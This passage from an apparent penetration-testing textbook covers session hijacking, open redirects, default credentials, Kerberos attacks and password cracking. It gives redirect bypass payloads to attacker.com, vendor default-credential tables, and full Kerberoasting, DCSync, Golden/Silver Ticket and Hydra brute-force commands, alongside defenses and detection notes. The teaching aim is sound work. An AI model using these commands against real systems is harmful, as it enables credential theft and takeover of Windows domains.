This explains a 2024 finding that 87% of successful cyberattacks involved session hijacking after valid MFA logins — not because MFA was bypassed technically, but because the session it produced was intercepted.

Vector 4 — Infostealer Malware

Modern infostealer malware (Raccoon, RedLine, Vidar, Lumma, Stealc) specifically targets browser-stored cookies, including session cookies. Most browsers store cookies in a local database file (SQLite for Chrome/Firefox). Malware running with user-level privileges on an infected endpoint can read this file directly and extract all cookies.

The extracted cookies are then exfiltrated to the attacker's command-and-control server. From there, they are either used directly by the attacker or sold on dark web markets as "logs" — collections of stolen cookies for specific websites. Entire underground markets exist for buying and selling stolen authenticated sessions for corporate SaaS applications.

This is why SpyCloud found 17 billion stolen cookie records in 2024: the infostealer ecosystem operates at industrial scale, systematically harvesting credentials and sessions from compromised endpoints.

The defense implication: Session tokens stolen via infostealer malware are not mitigated by any authentication control — not passwords, not MFA, not hardware tokens. The session was legitimately created. The only protection is endpoint security (preventing malware execution) and server-side controls that make stolen sessions unusable (IP binding, device fingerprinting, short session lifetimes, anomaly detection on session use).

Practical Session Hijacking: Testing in a Lab Context

In DVWA's session management exercises or in custom lab environments, the practical test follows this pattern:

`
Step 1: Log in as Victim (User A) in Browser A
Note the session cookie from Burp Suite → Cookie: PHPSESSID=abc123...

Step 2: In Browser B (or an Incognito window), open Developer Tools
Go to Application → Cookies → Add the captured cookie:
Name: PHPSESSID
Value: abc123...
Domain: 127.0.0.1

Step 3: Navigate to the authenticated area in Browser B
Without logging in, you are now authenticated as User A
`

This demonstrates the complete session hijacking attack in a controlled environment. The defense test is to verify that the same session ID cannot be used after logout (server-side session invalidation).


6.5.3 Practice — Session Hijacking Techniques

Setting Up a Session Capture Environment with Burp

The most professional approach to session hijacking in an authorized assessment uses Burp Suite as the central interception and token manipulation platform.

Capture sessions with Burp:

  1. Configure your browser to proxy through Burp (127.0.0.1:8080)
  2. Log in to the target application as your test user
  3. In Burp → Proxy → HTTP History, find the POST request to the login endpoint
  4. In the response to that login request, look for the Set-Cookie header — this is where the session token is issued
  5. Note the full cookie value

Analyze session token quality with Burp Sequencer:
Burp Suite includes a token analysis tool that tests whether session IDs are cryptographically random:

  1. In HTTP History, find any response that sets a session cookie
  2. Right-click → "Send to Sequencer"
  3. Configure Burp to extract the cookie value from responses
  4. Start automatic analysis — Burp will request fresh tokens and analyze their statistical randomness
  5. Results show an entropy level and confidence rating
  6. Low entropy means tokens may be predictable — a serious finding

Cookie flag analysis:
For every Set-Cookie header found during assessment:
`
Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; SameSite=Strict

Checklist:
☐ HttpOnly present? (missing = XSS can steal cookie)
☐ Secure present? (missing = cookie sent over HTTP)
☐ SameSite present and not None? (missing/None = CSRF risk)
☐ Max-Age or Expires set? (missing = session-lifetime cookie)
☐ Domain attribute appropriate? (too broad = subdomain risk)
`

Testing logout invalidation:
`

  1. Log in — capture session token T1
  2. Perform some authenticated actions — verify T1 works
  3. Log out
  4. In Burp Repeater, replay a previously captured authenticated request using T1
  5. If server returns 401/403/redirect: ✓ Correct behavior
  6. If server returns 200 with authenticated content: ✗ Session not invalidated `

6.5.4 Redirect Attacks — The Open Redirect Vulnerability

What Open Redirect Is

An open redirect vulnerability occurs when a web application accepts a user-supplied URL as a parameter and redirects the user to that URL without validation. The application blindly redirects to whatever the user provides in the ?next=, ?redirect=, ?url=, ?return=, or similar parameters.

On the surface this sounds minor — what harm is there in redirecting someone to a URL? The harm is in trust. Legitimate organizations' URLs carry trust. A phishing link from bank.example.com/login?next=https://attacker.com/fake-login looks far more credible than a direct link to attacker.com/fake-login. The domain in the visible part of the URL is the trusted bank's domain. The user follows the link, sees the bank's domain, and feels safe. Then they are redirected to the attacker's fake login page.

Attack Scenarios

Phishing amplification:
The attacker crafts a redirect URL that starts at a legitimate, trusted domain and ends at a malicious one:
`
https://trusted-bank.com/auth/logout?next=https://attacker.com/bank-login
`

The user sees trusted-bank.com at the start of the URL. They click, the bank's server redirects them to attacker.com/bank-login (which looks identical to the real login page), they enter their credentials, and the credentials are captured.

OAuth token theft:
OAuth authorization flows frequently use redirect URIs to send authorization codes and tokens back to the application after authentication. If an application registers a redirect URI like https://app.example.com/callback but the authorization server validates redirects too loosely, an attacker can use an open redirect on app.example.com to redirect OAuth tokens to their own server:

`
https://oauth-server.com/authorize?client_id=app&redirect_uri=https://app.example.com/redirect?next=https://attacker.com/capture
`

The OAuth server sends the token to app.example.com/redirect, which immediately redirects it to attacker.com/capture. The attacker receives the OAuth token without the user noticing.

SSRF enablement:
In some contexts, open redirects can enable SSRF (Server-Side Request Forgery). If a server-side request follows redirects and an open redirect is accessible, the attacker can chain: SSRF → open redirect → internal URL to reach internal services.

Detecting Open Redirects

During assessment, systematically check for redirect parameters:

`bash

Parameters commonly used for redirects:

?next=
?redirect=
?redirect_uri=
?redirect_url=
?url=
?return=
?return_to=
?returnUrl=
?dest=
?destination=
?go=
?forward=
?target=
?continue=

Test payload — detect if the server follows your redirect:

?next=https://attacker.com

For blind detection (server-side redirect not visible):

?next=https://your-burp-collaborator-id.burpcollaborator.net

Bypass common validation (filtering only first URL):

?next=https://trusted.com@attacker.com
?next=https://trusted.com.attacker.com
?next=//attacker.com (protocol-relative)
?next=/\attacker.com (backslash in some browsers treated as /)
?next=https://attacker%2ecom (URL encoding)

Using known open redirects in Google and other trusted services to chain:

https://www.google.com/url?q=https://attacker.com

https://accounts.google.com/SignOutOptions?continue=https://attacker.com

`

Automated detection with nuclei:
`bash
nuclei -u https://target.com -tags redirect
nuclei -u https://target.com -id open-redirect
`

Defense

Server-side validation should either:

  1. Use an allowlist of permitted redirect destinations — only specific, pre-approved URLs are allowed
  2. Avoid redirecting to external URLs entirely — only allow redirect within the same domain using relative paths
  3. Validate that the redirect target's domain matches the application's domain

Never rely on client-side validation for redirect targets.


6.5.5 Default Credentials — The Easiest Win in Security Testing

Why Default Credentials Are Still Everywhere

You would think that in 2024, with decades of security awareness campaigns and regulatory requirements demanding strong authentication, default credentials would be a solved problem. They are not. In fact, default credentials remain one of the most consistently productive findings in penetration testing assessments.

The reasons are structural:

Scale problem: An enterprise network may have thousands of devices — routers, switches, firewalls, printers, cameras, access points, storage devices, servers, and dozens of categories of IoT and OT devices. Each one shipped from the factory with a default credential. A single administrator responsible for hundreds of devices, under pressure to keep systems operational, will inevitably miss some.

Legacy systems: Devices that have been running for years were set up before current security policies were in place. They have never been revisited because they are "working fine."

Vendor default persistence: Some vendors configure devices to use the same default credential for all customers — sometimes the device serial number, sometimes admin/admin, sometimes the device hostname. Enterprise IT teams may not realize that what seems like a unique credential is actually published in the vendor documentation.

Non-IT device categories: Facilities systems (HVAC, cameras, door access systems, building management systems), medical devices, industrial controllers — these are managed by facilities or operations teams, not IT, and security hygiene standards often differ significantly.

Shadow IT: Devices deployed by individual teams without going through the standard IT provisioning and configuration process often have never had their default credentials changed.

Where to Find Default Credentials

Router, switch, and firewall admin interfaces:
Network device web interfaces are almost always on common ports (80, 443, 8080, 8443) on device management IPs. Vendors publish their default credentials in documentation:

Vendor Common Default Credentials
Cisco admin/cisco, cisco/cisco, admin/(blank)
Netgear admin/password, admin/1234
D-Link admin/(blank), admin/admin
TP-Link admin/admin
Ubiquiti ubnt/ubnt
Fortinet FortiGate admin/(blank)
Palo Alto admin/admin
Juniper root/(blank), admin/(blank)

IP cameras and surveillance systems:

Security cameras are notorious for default credentials. The Mirai botnet — which in 2016 took down a significant portion of the internet's infrastructure in a DDoS attack — infected primarily cameras and DVRs using default credentials. The problem persists:

Brand Common Defaults
Hikvision admin/12345, admin/admin
Dahua admin/admin
Axis root/pass, root/(blank)
Samsung admin/4321

Database servers:

Database Common Default Credentials
MySQL root/(blank), root/root
PostgreSQL postgres/postgres, postgres/(blank)
MSSQL sa/(blank), sa/sa
MongoDB (no auth by default in older versions)
Redis (no auth by default)
Elasticsearch elastic/changeme

Application admin panels:

Application Common Defaults
WordPress admin/admin, admin/password
Joomla admin/admin
Drupal admin/admin
Magento admin/admin123
phpMyAdmin root/(blank)
Jenkins admin/admin (or generated during install)
Grafana admin/admin
Kibana elastic/changeme
Tomcat Manager admin/admin, tomcat/tomcat, admin/tomcat

Resources for Default Credential Lookup

Default Credentials Cheat Sheet:
https://github.com/ihebski/DefaultCreds-cheat-sheet
A comprehensive database of default credentials for hundreds of vendors and products.

Router Default Passwords:
https://www.routerpasswords.com
Searchable database of router default credentials.

Shodan:
Shodan searches can find devices with known default credentials. Some Shodan search queries for devices with known defaults:
`

Hikvision cameras (common in enterprise surveillance)

product:"Hikvision IP Camera"

Cisco devices

product:"Cisco" port:80

Find devices with specific default-credential indicators in banners

"default password"
"admin password" "not changed"
`

Testing Default Credentials in an Assessment

`bash

Manual testing approach - use Burp Suite Intruder

Import a credential wordlist (default_creds.txt format: username:password)

Configure Intruder to test each pair against the login endpoint

Automated testing with Hydra:

hydra -L usernames.txt -P passwords.txt http-post-form://target/login:username=^USER^&password=^PASS^:Login failed

Nuclei default credential templates:

nuclei -u https://target.com -tags default-login
nuclei -l targets.txt -tags default-login -severity critical,high

Medusa for network services:

medusa -h target -U users.txt -P passwords.txt -M http

nmap NSE script for common default credentials:

nmap --script http-default-accounts -p 80,443,8080,8443 target
`

The professional workflow:

  1. During network scanning, identify all web-accessible management interfaces (flag all open ports 80, 443, 8080, 8443, 8888)
  2. For each interface, identify the technology (Cisco, Axis, Jenkins, phpMyAdmin, etc.) from the login page or HTTP headers
  3. Look up known default credentials for that technology
  4. Test manually first (3-5 credential pairs) before launching automated tools
  5. If an automated attack is needed, use the specific default credential list for that vendor rather than a generic password list

6.5.6 Kerberos Vulnerabilities — Breaking Windows Domain Authentication

Understanding Kerberos — The Protocol You Must Know

Kerberos is the primary authentication protocol in Active Directory environments — which means it is the authentication protocol in the majority of enterprise corporate networks worldwide. Every Windows domain login, every SMB file share access, every SQL Server connection in a domain environment goes through Kerberos.

Understanding how Kerberos works mechanically is the prerequisite for understanding why the attacks against it work. Many security professionals learn Kerberoasting commands without understanding the protocol, which means they cannot adapt when something does not work as expected or explain their findings clearly to clients.

The three parties in every Kerberos exchange:

KDC (Key Distribution Center): Runs on the Domain Controller. The central authority that manages all authentication in the domain. Contains two services: the AS (Authentication Service) which handles initial authentication, and the TGS (Ticket Granting Service) which issues service tickets.

Client: The user or machine requesting access to a resource.

Service: The server or service the client wants to access (a file server, a database, a web application, a print server).

The Kerberos flow — step by step:

Step 1 — AS-REQ (Authentication Service Request):
When you log into a Windows domain, your workstation sends an AS-REQ to the KDC. This request includes your username and a timestamp encrypted with the NT hash of your password (your password hash). The encrypted timestamp proves you know your password without sending the password itself.

Step 2 — AS-REP (Authentication Service Reply):
The KDC decrypts the timestamp using the stored hash of your password. If it decrypts correctly and the timestamp is within the allowed window (5 minutes by default), you are authenticated. The KDC sends back two things: a session key encrypted with your password hash (for you to use in subsequent steps), and the TGT (Ticket Granting Ticket) encrypted with the hash of the special krbtgt account.

The TGT is your "proof of authentication" for the rest of your session. It contains your identity, your group memberships, and an expiration time. You cannot read or modify it because it is encrypted with the krbtgt hash, which you do not have.

Step 3 — TGS-REQ (Ticket Granting Service Request):
When you want to access a specific service (say, a file server), you send the TGT to the TGS and request a Service Ticket (ST) for the specific service, identified by its SPN (Service Principal Name).

Step 4 — TGS-REP (Ticket Granting Service Reply):
The TGS decrypts your TGT using the krbtgt hash, verifies it is valid, and issues a Service Ticket encrypted with the hash of the service account that runs the target service. You receive this Service Ticket but cannot read its contents because it is encrypted with the service account's hash.

Step 5 — AP-REQ (Application Request):
You present the Service Ticket to the target service. The service decrypts it using its own account's hash, verifies you are authorized, and grants access. Crucially: the service never contacts the KDC to verify the ticket. It trusts it entirely based on its own ability to decrypt it. This is the architectural fact that enables Silver Ticket attacks.

This entire exchange contains four attack surfaces:

  • Pre-authentication disabled → AS-REP Roasting
  • Service ticket encrypted with service account hash → Kerberoasting
  • Forged TGT using krbtgt hash → Golden Ticket
  • Forged Service Ticket using service account hash → Silver Ticket

Attack 1 — Kerberoasting

The vulnerability:
In step 4 above, the KDC issues a Service Ticket encrypted with the hash of the service account that runs the requested service. Any domain user can request a Service Ticket for any service. The ticket is encrypted with the service account's hash.

If an attacker requests a Service Ticket for a service and captures the encrypted ticket, they have an encrypted blob that was encrypted with the service account's password hash. They can take this offline and crack it — trying passwords until one produces the correct hash to decrypt the ticket.

The prerequisite for exploitation:
The service must have an SPN (Service Principal Name) registered. SPNs identify which accounts run which services. Any domain account can have an SPN if a domain admin or the account itself registers one.

`
Example SPNs:
MSSQLSvc/SQLSERVER01.corp.local:1433 (SQL Server)
HTTP/webapp.corp.local:443 (Web Application)
WSMAN/DC01.corp.local (Windows Remote Management)
`

Why it matters: Service accounts — accounts that run services like SQL Server, IIS, Exchange — often have weak passwords. They were set up once, years ago, with a password like Password1234 that never changes because the service would break if the password changed. Kerberoasting extracts their password hash encrypted in a crackable format.

Execution:

`powershell

On a Windows machine in the domain (requires only a domain user account):

Using PowerView (PowerSploit) — enumerate SPNs

Get-DomainUser -SPN | Select-Object SamAccountName, ServicePrincipalName

Using built-in setspn tool (reconnaissance):

setspn -Q / | findstr /v host/

Request and capture TGS tickets for all SPNs (Invoke-Kerberoast):

Import-Module .\PowerSploit.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | ConvertTo-Csv -NoTypeInformation

Or using Rubeus (preferred modern tool):

.\Rubeus.exe kerberoast /output:hashes.txt /nowrap
.\Rubeus.exe kerberoast /user:svc_sql /output:sql_hash.txt # Target specific account
`

`bash

From Linux using Impacket:

GetUserSPNs.py DOMAIN/username:password -dc-ip DC_IP -outputfile kerberoast_hashes.txt
GetUserSPNs.py DOMAIN/username:password -dc-ip DC_IP -request # Output to screen

If you have an NT hash instead of password (pass-the-hash):

GetUserSPNs.py DOMAIN/username -hashes :NTLM_HASH -dc-ip DC_IP -outputfile hashes.txt
`

Cracking the hashes:

Kerberoast hashes are in Kerberos 5 TGS-REP etype 23 format, which is hashcat mode 13100.

`bash

Hashcat — GPU cracking (dramatically faster than CPU):

hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

With rules (for mangled passwords like Password1!, Summer2023@):

hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule

John the Ripper alternative:

john kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

If the password is simple, it cracks in seconds to minutes

If the password is complex (25+ random chars), cracking is computationally infeasible

`

What to do with a cracked service account password:
Service accounts often have elevated privileges — SQL Server service accounts frequently have sysadmin rights in SQL Server. They may be local administrators on the servers where the service runs. Some organizations give service accounts domain admin privileges (this is a misconfiguration but is very common). The cracked password is used to authenticate as the service account and explore its access.

Attack 2 — AS-REP Roasting

The vulnerability:
Kerberos pre-authentication is a security feature that requires users to prove they know their password before receiving a TGT. Specifically, the client must encrypt the current timestamp with their password hash and send it to the KDC. If the encrypted timestamp decrypts correctly to a valid current time, the KDC sends the TGT.

When pre-authentication is disabled for an account, the KDC will send a TGT to anyone who asks for it — without requiring the timestamp proof. The TGT is encrypted with the user's password hash. An attacker can request the TGT and crack it offline.

Pre-authentication is disabled in real environments more often than you would expect — it is sometimes disabled for compatibility with legacy applications that do not support Kerberos pre-authentication, for certain service accounts, or by administrators who do not understand the security implication.

Execution:

`bash

From Linux using Impacket (no domain credentials needed — only username list):

GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -outputfile asrep_hashes.txt
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -no-pass

From Linux with domain credentials (enumerate users with pre-auth disabled):

GetNPUsers.py DOMAIN/username:password -dc-ip DC_IP -request -outputfile asrep_hashes.txt

From Windows using Rubeus:

.\Rubeus.exe asreproast /output:asrep_hashes.txt /nowrap

From Windows using PowerView — enumerate accounts with pre-auth disabled:

Get-DomainUser -PreauthNotRequired | Select-Object SamAccountName
`

Cracking AS-REP hashes:

AS-REP hashes are in Kerberos 5 AS-REP etype 23 format, hashcat mode 18200.

`bash
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

john asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
`

Key difference from Kerberoasting: AS-REP Roasting does not require any domain credentials to execute — you only need a list of usernames. This makes it useful very early in an engagement, even before you have any authenticated access.

Attack 3 — Pass-the-Ticket

The concept:
Once an attacker has valid Kerberos tickets (either legitimately obtained by authenticating as a compromised account, or forged), they can inject those tickets into their own session and use them to authenticate to services without needing the account's password.

`bash

On Windows: export current tickets from memory

Mimikatz:

privilege::debug
sekurlsa::tickets /export

Rubeus:

.\Rubeus.exe dump /nowrap
.\Rubeus.exe triage # List all tickets in memory

Import a ticket (pass-the-ticket):

.\Rubeus.exe ptt /ticket:BASE64_TICKET_DATA

Mimikatz:

kerberos::ptt ticket.kirbi

After importing the ticket, use it to access the service:

The ticket is now in your session and will be presented to the target service

dir \file-server\share
`

Attack 4 — Silver Ticket

The concept:
Remember from the Kerberos flow: Service Tickets are encrypted with the service account's hash, and the service validates them by decrypting with its own hash — never contacting the KDC. If an attacker knows a service account's NT hash, they can forge a Service Ticket for that service with any identity claims they want.

A forged Silver Ticket can specify:

  • Any username (even Administrator)
  • Any group memberships (including Domain Admins)
  • Any expiry time

Because the service never contacts the KDC to verify the ticket, there is no central check that could reject the forged ticket. The service decrypts it with its hash, finds it "valid," and grants access.

What you need: The NTLM hash of the service account and the domain's SID (Security Identifier).

`bash

Get domain SID:

In PowerShell:

(Get-ADDomain).DomainSID

Or from a domain user's token:

whoami /user # The SID without the last -RID is the domain SID

Forge a Silver Ticket (Impacket):

ticketer.py -nthash SERVICE_ACCOUNT_NTLM_HASH \
-domain-sid S-1-5-21-xxxxxxxx-xxxxxxxx-xxxxxxxx \
-domain corp.local \
-spn CIFS/fileserver.corp.local \
Administrator

This creates a .ccache file containing the forged ticket

Use the forged ticket:

export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass corp.local/Administrator@fileserver.corp.local

Mimikatz Silver Ticket (Windows):

kerberos::golden /user:Administrator \
/domain:corp.local \
/sid:S-1-5-21-... \
/target:fileserver.corp.local \
/service:cifs \
/rc4:SERVICE_ACCOUNT_NTLM_HASH \
/ptt # inject into session immediately
`

Silver vs Golden Ticket:
Silver Ticket: Access to ONE specific service only. Harder to detect (DC never contacted).
Golden Ticket: Access to ANY service in the domain. Requires the krbtgt hash.

Attack 5 — Golden Ticket

The concept:
The TGT (Ticket Granting Ticket) is encrypted with the krbtgt account's hash. The krbtgt account is a special account in every Active Directory domain — it never logs in interactively, its password is automatically managed by Active Directory, and its hash is used to encrypt and validate every TGT in the domain.

If an attacker obtains the krbtgt account's NTLM hash, they can forge a TGT for any user with any privileges, valid for any duration. This forged TGT is a Golden Ticket — presented to the KDC, which validates it by decrypting with its krbtgt hash, which is exactly what the attacker used to create it. The KDC cannot distinguish the forged ticket from a legitimate one.

A Golden Ticket remains valid even after the compromised user's password is changed. The only way to invalidate a Golden Ticket is to change the krbtgt account's password twice (because Kerberos supports rolling the password for compatibility — the previous password remains valid for a period, so one change is insufficient).

What you need: The krbtgt account's NTLM hash. This requires Domain Admin privileges to obtain — typically achieved through the DCSync attack (replicating Active Directory's password database using the DS-Replication-Get-Changes-All privilege).

`bash

DCSync — replicate credentials from DC (requires Domain Admin or equivalent):

Impacket:

secretsdump.py -just-dc-user krbtgt DOMAIN/DomainAdmin:password@DC_IP

Mimikatz:

privilege::debug
lsadump::dcsync /user:krbtgt

Output includes the krbtgt NTLM hash

Forge a Golden Ticket:

ticketer.py -nthash KRBTGT_NTLM_HASH \
-domain-sid S-1-5-21-xxxxxxxx-xxxxxxxx-xxxxxxxx \
-domain corp.local \
Administrator

The ticket is valid for 10 years by default (duration configurable)

Using the ticket:

export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass corp.local/Administrator@DC01.corp.local

Mimikatz Golden Ticket (Windows):

kerberos::golden /user:Administrator \
/domain:corp.local \
/sid:S-1-5-21-... \
/krbtgt:KRBTGT_NTLM_HASH \
/ptt
`

Attack 6 — Kerberos Delegation Abuse

Unconstrained Delegation:
Active Directory allows certain computers and service accounts to impersonate users for Kerberos authentication — called delegation. In "unconstrained delegation," the machine stores the user's full TGT in memory when they authenticate to it. An attacker who compromises a machine with unconstrained delegation enabled can extract all TGTs from that machine's memory using Mimikatz and use them to authenticate to any service on the domain as any user who connected to that machine.

Identifying unconstrained delegation:
`bash

PowerView:

Get-DomainComputer -Unconstrained | Select-Object Name, DNSHostName

LDAP query:

ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=local" \
"(&(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(name=KRBTGT))(!(name=DC)))" \
name
`

Constrained Delegation:
More controlled than unconstrained — the service can only delegate to specific listed services. Still abusable if an attacker compromises an account with constrained delegation configured.

Detection Event IDs — What Defenders Look For

Attack Key Event ID What Triggers It
Kerberoasting 4769 TGS requested with RC4 encryption (etype 0x17)
AS-REP Roasting 4768 TGT requested where pre-auth disabled
Golden Ticket 4769, 4672 TGS request — but suspicious (no preceding AS-REQ, or very long validity)
Silver Ticket (nothing at DC) DC is never contacted — detected only at endpoint level
DCSync 4662 DS-Replication-Get-Changes-All accessed from non-DC machine

The hardest to detect is the Silver Ticket — because the Domain Controller is never involved in ticket validation, no DC logs are generated. Detection requires endpoint telemetry from the service host, comparing service logons with expected behavior.


6.5.7 Practice — Kerberos Attack Execution

Lab Environment Setup

Kerberos attacks require a Windows Active Directory environment. The most accessible options for lab practice:

Option 1 — GOAD (Game of Active Directory):
https://github.com/Orange-Cyberdefense/GOAD

GOAD deploys a complete multi-domain Active Directory environment with intentional misconfigurations using Vagrant and VirtualBox/VMware. It takes approximately 2-4 hours to deploy but provides a realistic enterprise AD environment for practicing all Kerberos attacks.

Option 2 — VulnAD:
https://github.com/WazeHell/vulnerable-AD

A PowerShell script that deploys a vulnerable Active Directory on Windows Server. Faster to set up than GOAD if you already have a Windows Server VM.

Option 3 — HackTheBox and TryHackMe:
Both platforms have Windows Active Directory machines and rooms specifically for practicing Kerberoasting, AS-REP Roasting, and ticket attacks. No local infrastructure needed.

Complete Kerberoasting Practice Sequence

`bash

Step 1: Enumerate SPNs (from Kali with domain credentials)

GetUserSPNs.py corp.local/lowprivuser:password -dc-ip 192.168.1.10

Output shows accounts with SPNs registered:

ServicePrincipalName Name MemberOf PasswordLastSet

CIFS/filesvr.corp.local svc_fs ... 2020-01-15

MSSQLSvc/sqlsvr.corp.local svc_sql ... 2019-06-20

Step 2: Request tickets and save to file

GetUserSPNs.py corp.local/lowprivuser:password -dc-ip 192.168.1.10 -request -outputfile hashes.txt

Step 3: Examine hash format (should match hashcat mode 13100):

cat hashes.txt

$krb5tgs$23$svc_sql$corp.local$MSSQLSvc/sqlsvr.corp.local$...

Step 4: Crack with hashcat

hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --show

Step 5: Once cracked, test access

If svc_sql password = 'Summer2023!':

smbclient.py corp.local/svc_sql:'Summer2023!'@sqlsvr.corp.local
secretsdump.py corp.local/svc_sql:'Summer2023!'@sqlsvr.corp.local
`


6.5.8 Lab — Using Password Tools

The Complete Password Attack Toolkit

This lab consolidates password-focused authentication attacks using the professional tool set.

Hydra — Network Service Brute Force:

Hydra is the primary tool for brute forcing network authentication services — SSH, FTP, HTTP login forms, SMTP, RDP, MySQL, and many others.

`bash

SSH brute force (after confirming it's in scope):

hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target

HTTP POST form brute force:

First, capture a failed login in Burp to see the form parameters

hydra -l admin -P /usr/share/wordlists/rockyou.txt target \
http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

HTTP basic authentication:

hydra -l admin -P /usr/share/wordlists/rockyou.txt target http-get /admin/

FTP:

hydra -L users.txt -P passwords.txt ftp://target

MySQL:

hydra -l root -P /usr/share/wordlists/rockyou.txt target mysql

RDP:

hydra -l Administrator -P /usr/share/wordlists/rockyou.txt rdp://target

Multiple hosts:

hydra -l admin -P passwords.txt -M hosts.txt ssh

Rate limiting / stealth options:

hydra -l admin -P passwords.txt -t 1 -W 3 ssh://target

-t 1: one thread (slow but stealthy)

-W 3: wait 3 seconds between attempts

`

Medusa — Alternative Brute Force Tool:

`bash

SMTP user enumeration and brute force:

medusa -h target -U users.txt -P passwords.txt -M smtp

HTTP form:

medusa -h target -U users.txt -P passwords.txt -M http -m FORM:/login
`

Password Spraying — Avoiding Lockout:

Unlike brute force (many passwords per account), password spraying tests one or few passwords against many accounts. This avoids triggering account lockout thresholds.

`bash

Microsoft 365 / Azure AD password spray:

MSOLSpray (specific for O365):

Invoke-MSOLSpray -UserList users.txt -Password 'Summer2024!'

TREVORspray (with IP rotation for larger campaigns):

trevorspray -t targets.txt --use-proxy-file proxies.txt -p 'Summer2024!'

General web form spray with Hydra (one password, many users):

hydra -L users.txt -p 'Password123' target http-post-form "/login:user=^USER^&pass=^PASS^:failed"
`

Hashcat — Offline Hash Cracking:

`bash

Identify hash type first:

hashid hash.txt # hashid tool
hash-identifier # interactive tool

Common hash modes:

0: MD5

100: SHA1

1000: NTLM

1800: SHA-512crypt (Linux shadow file)

3200: bcrypt

5500: NTLMv1

5600: NTLMv2 (Responder captures)

13100: Kerberos 5 TGS-REP (Kerberoasting)

18200: Kerberos 5 AS-REP (AS-REP Roasting)

16500: JWT HS256

Dictionary attack:

hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

Rules-based attack (most effective for real passwords):

hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule

Combination attack (combine two wordlists):

hashcat -m 1000 ntlm_hashes.txt -a 1 wordlist1.txt wordlist2.txt

Mask attack (pattern-based — e.g., all passwords ending in 2024!):

hashcat -m 1000 ntlm_hashes.txt -a 3 ?u?l?l?l?l2024!

?u = uppercase, ?l = lowercase, ?d = digit, ?s = special

Prince attack (generates intelligent combinations):

hashcat -m 1000 ntlm_hashes.txt -a 6 rockyou.txt ?d?d?d?d

Check cracked hashes:

hashcat -m 1000 ntlm_hashes.txt --show
`


6.6 Exploiting Authorization-Based Vulnerabilities

6.6.1 Overview — What Authorization Means and Why It Fails

Authorization is the system of rules that determines what an authenticated user is permitted to do. You have already proved who you are (authentication). Now the question is what you are allowed to access, modify, delete, or execute.

Authorization failures are the most prevalent category of web application vulnerability. OWASP found authorization weaknesses in 94% of tested applications — an incidence rate higher than any other vulnerability category. The reason is structural: authorization is fundamentally different from authentication in that it requires correct decisions at every single endpoint and every single resource, for every combination of user role and action. A single missed check creates a vulnerability.

Authentication has relatively few places where it can fail — the login form, the session management, the MFA flow. Authorization potentially fails at every single API endpoint, every URL, every database query, every function. In a modern web application with hundreds of endpoints, each endpoint needs its own authorization check. Each check must correctly evaluate whether the requesting user's role and identity entitles them to perform the requested action on the requested resource. One missed check means an attacker who finds that endpoint can bypass the entire authorization system for that resource.

The most important distinction to internalize:

Authentication prevents unauthenticated access — it keeps strangers out of the building.

Authorization prevents unauthorized actions by authenticated users — it prevents employees from accessing other employees' personnel files.

Both are necessary. Neither is sufficient without the other.

The Authorization Models

Understanding authorization models is important because the model an application uses determines how it can fail.

RBAC — Role-Based Access Control:
Permissions are assigned to roles, and users are assigned to roles. A user in the "viewer" role can read records. A user in the "editor" role can read and write. A user in the "admin" role can read, write, and delete.

RBAC fails when role assignments are incorrect (a user gets a role they should not have), when role checks are missing (a developer forgot to add the role check to a new endpoint), or when roles are too coarse-grained (all "editors" can edit all records, but they should only edit their own).

ABAC — Attribute-Based Access Control:
Access decisions are based on attributes of the user, the resource, and the environment. "User can access document if user.department == document.department AND document.classification <= user.clearance_level."

ABAC is more flexible and precise than RBAC but harder to implement correctly. Failure modes often involve missing attribute checks or incorrect attribute comparisons.

DAC — Discretionary Access Control:
Resource owners control access to their resources. The creator of a file can grant access to others. Common in file systems and some web applications.

DAC fails when ownership is not properly tracked or when the access control checks are missing, allowing non-owners to access resources.


6.6.2 IDOR — Insecure Direct Object Reference

The Concept

IDOR is the most frequently found authorization vulnerability in penetration testing and bug bounty programs. It occurs when an application uses a user-supplied identifier to access an object directly — a database record, a file, an account — without verifying that the requesting user is authorized to access that specific object.

The "direct object reference" means the identifier directly maps to a storage object — a database row ID, a filename, a sequential record number. The "insecure" means this reference is used without access control verification.

Imagine a healthcare portal where patients view their lab results. The URL structure is:
`
https://patient-portal.hospital.com/results?patient_id=10042
`

The application receives patient_id=10042, queries the database for that patient's results, and displays them. If the application does not verify that the authenticated user is patient 10042, any authenticated patient can view any other patient's results by changing the ID.

This is IDOR. It is simple, it is extraordinarily common, and it can have catastrophic consequences. Healthcare, financial, legal, and HR systems contain among the most sensitive personal data that exists. A single IDOR in these systems can expose millions of records.

IDOR Variations — Beyond Simple Numeric IDs

Sequential numeric IDs (the classic case):
`
/api/orders/1042 → change to /api/orders/1043
/profile?id=887 → change to /profile?id=888
/invoice/00234 → change to /invoice/00235
`

UUIDs and GUIDs:
Applications sometimes use UUIDs (Universally Unique Identifiers) like 550e8400-e29b-41d4-a716-446655440000 thinking their unpredictability provides access control. This is security through obscurity — if the UUID leaks anywhere (another API response, a log, a URL in an email), the protection is gone. Proper authorization checks are still required.

Indirect references — not IDs but other references:
Filenames: /download?file=invoice_alice_2024.pdf/download?file=invoice_bob_2024.pdf
Email addresses: /account?email=alice@example.com/account?email=bob@example.com
Hashed references: Hash the ID and use the hash as the reference — still IDOR if access control is missing

Parameter pollution — multiple values:
